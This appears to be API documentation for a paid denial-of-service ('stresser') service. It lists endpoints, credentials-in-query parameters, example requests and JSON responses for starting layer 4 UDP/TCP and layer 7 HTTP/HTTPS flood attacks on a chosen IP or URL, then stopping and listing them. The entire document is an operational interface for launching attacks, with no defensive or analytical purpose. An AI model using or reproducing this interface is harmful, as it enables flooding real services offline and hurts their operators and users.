Query Parameters
| Parameter | Type | Required | Description |
|---|---|---|---|
| username | string | Yes | Your username |
| password | string | Yes | Your password |
| host | string | Yes | Target IP address (IPv4) |
| port | integer | Yes | Target port (1-65535) |
| time | integer | Yes | Duration in seconds (10 to plan's boot time) |
| method | string | Yes | Method name (e.g., "UDP", "TCP") |
Example Request
https://your-domain.com/api/layer4/start?username=user&password=pass&host=192.168.1.1&port=80&time=60&method=UDPResponse
{
"success": true,
"message": "Attack started successfully",
"id": 123456
}Query Parameters
| Parameter | Type | Required | Description |
|---|---|---|---|
| username | string | Yes | Your username |
| password | string | Yes | Your password |
| host | string | Yes | Target URL (e.g., https://example.com) |
| port | integer | No | Target port (default: 80, 1-65535) |
| time | integer | Yes | Duration in seconds (10 to plan's boot time) |
| method | string | Yes | Method name (e.g., "HTTP", "HTTPS") |
Example Request
https://your-domain.com/api/layer7/start?username=user&password=pass&host=https://example.com&port=443&time=120&method=HTTPResponse
{
"success": true,
"message": "Attack started successfully",
"id": 123456
}Query Parameters
| Parameter | Type | Required | Description |
|---|---|---|---|
| username | string | Yes | Your username |
| password | string | Yes | Your password |
| id | integer | Yes | Attack ID (returned when starting an attack) |
Example Request
https://your-domain.com/api/stop?username=user&password=pass&id=123456Response
{
"success": true,
"message": "Attack stopped successfully"
}Query Parameters
| Parameter | Type | Required | Description |
|---|---|---|---|
| username | string | Yes | Your username |
| password | string | Yes | Your password |
Example Request
https://your-domain.com/api/attacks?username=user&password=passResponse
{
"success": true,
"attacks": [
{
"id": 123456,
"target": "example.com",
"host": "example.com",
"port": 80,
"duration": 60,
"method": 1,
"method_name": "HTTP",
"timestamp": 1234567890,
"expires": 1234567950,
"stopped": false
}
]
}